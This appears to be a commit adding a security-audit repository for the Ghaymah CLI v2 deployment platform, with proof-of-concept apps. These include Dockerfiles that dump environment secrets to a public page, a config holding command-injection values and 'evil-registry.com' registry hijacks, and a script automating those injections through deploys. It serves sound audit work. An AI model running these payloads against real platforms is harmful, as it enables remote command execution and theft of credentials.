🛡️ feat: Ghaymah CLI v2 — Security & QA Audit Repository

Comprehensive security audit of the Ghaymah CLI v2 and web platform.

Findings:
  - [CRITICAL] T1552: Dockerfile & .env Credential Leakage
  - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change
  - [HIGH]     T1539: Session Token Revocation Bypass
  - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang)

Includes:
  - 8 Proof-of-Concept applications (PoC_Apps/)
  - Visual evidence & screenshots (Assets/Screenshots/)
  - Full PDF audit report (Reports/)
  - Mermaid.js attack flow diagrams in README

Auditor: Ziad Mahmoud Ahmed Abdelgwad — Cybersecurity Specialist

PoC_Apps/broken-docker-test/Dockerfile

@@ -0,0 +1,4 @@
+FROM ubuntu:does-not-exist-999
+RUN totally-fake-command that-will-crash
+COPY . /app
+CMD ["echo", "I should never run"]

PoC_Apps/invalid-docker-test/Dockerfile

@@ -0,0 +1,12 @@
+FROM alpine:latest
+
+# 1. Privilege & OS Discovery
+RUN id && uname -a
+
+# 2. Environment Variable Exfiltration (Looking for API Keys/Secrets)
+RUN env
+
+# 3. Egress Traffic Test
+RUN wget -qO- http://example.com/ || echo "Egress Traffic Blocked"
+
+CMD ["echo", "Payload Execution Complete"]

PoC_Apps/invalid-docker-test/index.html

@@ -0,0 +1 @@
+<h1>Will it fix my Dockerfile?</h1>

PoC_Apps/invalid-docker-test/tunnel-test/index.html

@@ -0,0 +1 @@
+<h1>Tunnel Security Test</h1>

PoC_Apps/test-app-2/.gy.json

@@ -0,0 +1,29 @@
+{
+  "app": "test-app-2",
+  "project": "test-app-2",
+  "_app_id": "bfd6bf85-8625-4a46-a0fa-27c26421e9c5",
+  "_project_id": "d91eb383-6607-43d1-88b3-b5c8f1fa4a4b",
+  "port": 8080,
+  "publicAccess": {
+    "enabled": true,
+    "domain": "test-app-2-dd07c63a4e7e.hosted.ghaymah.systems"
+  },
+  "env": {
+    "BASE_IMAGE": "evil-registry.com/evil-image:latest",
+    "DOCKER_REGISTRY": "evil-registry.com",
+    "MATH_TEST": "$((10+10))",
+    "RCE_1": "`id`",
+    "RCE_2": "; whoami ;",
+    "RCE_3": "| whoami",
+    "RCE_4": "|| whoami",
+    "RCE_5": "\u0026 whoami",
+    "RCE_6": "$(echo id)",
+    "RCE_7": "$'whoami\\n'",
+    "RCE_CALLBACK": "",
+    "RCE_FILE": "",
+    "RCE_TEST": "",
+    "REGISTRY": "evil-registry.com"
+  },
+  "resourceTier": "t1",
+  "_detected": "dockerfile"
+}

PoC_Apps/test-app-2/Dockerfile

@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080

PoC_Apps/test-app-2/auto_rce_test.sh

@@ -0,0 +1,108 @@
+#!/bin/sh
+
+GY="../gy-linux-amd64"
+LOG_FILE="rce_test_results.log"
+TIMEOUT_SEC=400
+SYNC_TIMEOUT=120
+SET_TIMEOUT=60
+
+echo "========== بدء الاختبار: $(date) ==========" > "$LOG_FILE"
+echo "" >> "$LOG_FILE"
+
+run_with_timeout() {
+    cmd="$1"
+    timeout_sec="$2"
+    log_file="$3"
+    eval "$cmd" > "$log_file" 2>&1 &
+    pid=$!
+    elapsed=0
+    while kill -0 "$pid" 2>/dev/null && [ "$elapsed" -lt "$timeout_sec" ]; do
+        sleep 5
+        elapsed=$((elapsed + 5))
+    done
+    if kill -0 "$pid" 2>/dev/null; then
+        kill -9 "$pid" 2>/dev/null
+        return 124
+    else
+        wait "$pid"
+        return $?
+    fi
+}
+
+cat > /tmp/tests.list << 'EOL'
+RCE_backticks|config set env "RCE_1=\`id\`"
+RCE_semicolon|config set env "RCE_2=; whoami ;"
+RCE_pipe|config set env "RCE_3=| whoami"
+RCE_or|config set env "RCE_4=|| whoami"
+RCE_ampersand|config set env "RCE_5=& whoami"
+RCE_subshell_echo|config set env "RCE_6=\$(echo id)"
+RCE_newline|config set env "RCE_7=\$'whoami\n'"
+BUILDARG_semicolon|config set build-args "TEST_ARG=; whoami ;"
+PORT_injection|config set port "8080; whoami"
+REGISTRY_hijack|config set env "DOCKER_REGISTRY=evil-registry.com"
+REGISTRY_hijack2|config set env "REGISTRY=evil-registry.com"
+BASEIMAGE_hijack|config set env "BASE_IMAGE=evil-registry.com/evil-image:latest"
+EOL
+
+while IFS='|' read -r test_name config_cmd; do
+    echo "🔍 اختبار: $test_name"
+    echo "🔍 اختبار: $test_name" >> "$LOG_FILE"
+
+    echo "   ▶️  $GY $config_cmd (تايم أوت ${SET_TIMEOUT}s)"
+    temp_log="/tmp/set_$$.log"
+    run_with_timeout "$GY $config_cmd" "$SET_TIMEOUT" "$temp_log"
+    set_exit=$?
+    cat "$temp_log" >> "$LOG_FILE"
+    rm -f "$temp_log"
+    if [ $set_exit -eq 124 ]; then
+        echo "   ⏰ تعليق في config set - تايم أوت"
+        echo "   ⏰ تعليق في config set - تايم أوت" >> "$LOG_FILE"
+        continue
+    elif [ $set_exit -ne 0 ]; then
+        echo "   ❌ فشل config set برمز: $set_exit"
+        echo "   ❌ فشل config set برمز: $set_exit" >> "$LOG_FILE"
+        continue
+    fi
+
+    echo "   ▶️  $GY config sync (تايم أوت ${SYNC_TIMEOUT}s)"
+    temp_log="/tmp/sync_$$.log"
+    run_with_timeout "$GY config sync" "$SYNC_TIMEOUT" "$temp_log"
+    sync_exit=$?
+    cat "$temp_log" >> "$LOG_FILE"
+    rm -f "$temp_log"
+    if [ $sync_exit -eq 124 ]; then
+        echo "   ⏰ تعليق في config sync - تايم أوت"
+        echo "   ⏰ تعليق في config sync - تايم أوت" >> "$LOG_FILE"
+        continue
+    elif [ $sync_exit -ne 0 ]; then
+        echo "   ❌ فشل config sync برمز: $sync_exit"
+        echo "   ❌ فشل config sync برمز: $sync_exit" >> "$LOG_FILE"
+        continue
+    fi
+
+    echo "   ▶️  $GY deploy (تايم أوت ${TIMEOUT_SEC}s)"
+    temp_log="/tmp/deploy_$$.log"
+    run_with_timeout "$GY deploy" "$TIMEOUT_SEC" "$temp_log"
+    deploy_exit=$?
+    cat "$temp_log" >> "$LOG_FILE"
+    rm -f "$temp_log"
+    if [ $deploy_exit -eq 124 ]; then
+        echo "   ⏰ تعليق في deploy - تايم أوت"
+        echo "   ⏰ تعليق في deploy - تايم أوت" >> "$LOG_FILE"
+    elif [ $deploy_exit -eq 0 ]; then
+        echo "   ✅ انتهى deploy بنجاح (تحقق من اللوغ)"
+        echo "   ✅ انتهى deploy بنجاح" >> "$LOG_FILE"
+    else
+        echo "   ❌ فشل deploy برمز: $deploy_exit"
+        echo "   ❌ فشل deploy برمز: $deploy_exit" >> "$LOG_FILE"
+    fi
+
+    echo "" >> "$LOG_FILE"
+    echo "--------------------------------------------------"
+    echo "" >> "$LOG_FILE"
+done < /tmp/tests.list
+
+rm -f /tmp/tests.list
+
+echo "✅ انتهت جميع الاختبارات. النتائج محفوظة في $LOG_FILE"
+echo "✅ انتهت جميع الاختبارات. النتائج محفوظة في $LOG_FILE" >> "$LOG_FILE"

PoC_Apps/test-app-3/Dockerfile

@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080

PoC_Apps/test-app-5/Dockerfile

@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080

PoC_Apps/test-app-clean/.gy.json

@@ -0,0 +1,17 @@
+{
+  "app": "test-app-clean",
+  "project": "test-app-clean",
+  "_app_id": "a103d58a-2b12-4a3f-8c5d-ac5025c17756",
+  "_project_id": "f288555c-2b55-4770-967d-76d8a7db82b3",
+  "port": 8080,
+  "publicAccess": {
+    "enabled": true,
+    "domain": "test-app-clean-210c2372bee6.hosted.ghaymah.systems"
+  },
+  "env": {
+    "RCE_FINAL": "RCE_SUCCESS",
+    "RCE_STDERR": ""
+  },
+  "resourceTier": "t1",
+  "_detected": "dockerfile"
+}

PoC_Apps/test-app-clean/Dockerfile

@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080

PoC_Apps/test-app-final/Dockerfile

@@ -0,0 +1,3 @@
+FROM alpine
+EXPOSE 8080
+CMD env > index.html && busybox httpd -f -p 8080

PoC_Apps/test-app/.gy.json

@@ -0,0 +1,13 @@
+{
+  "app": "test-app",
+  "project": "test-app",
+  "_app_id": "26e4bd36-b0e3-45c2-8654-225de8b268f8",
+  "_project_id": "9df8707b-17b5-417c-bfd5-ccbccd20858c",
+  "port": 8080,
+  "publicAccess": {
+    "enabled": true,
+    "domain": "test-app-66721af724a0.hosted.ghaymah.systems"
+  },
+  "resourceTier": "t1",
+  "_detected": "static"
+}

PoC_Apps/test-app/Dockerfile

@@ -0,0 +1,5 @@
+FROM python:3.9-slim
+WORKDIR /app
+COPY index.html .
+EXPOSE 8080
+CMD ["python", "-m", "http.server", "8080"]

PoC_Apps/test-app/index.html

@@ -0,0 +1 @@
+<h1>Ghaymah CLI v2 Test Successful</h1>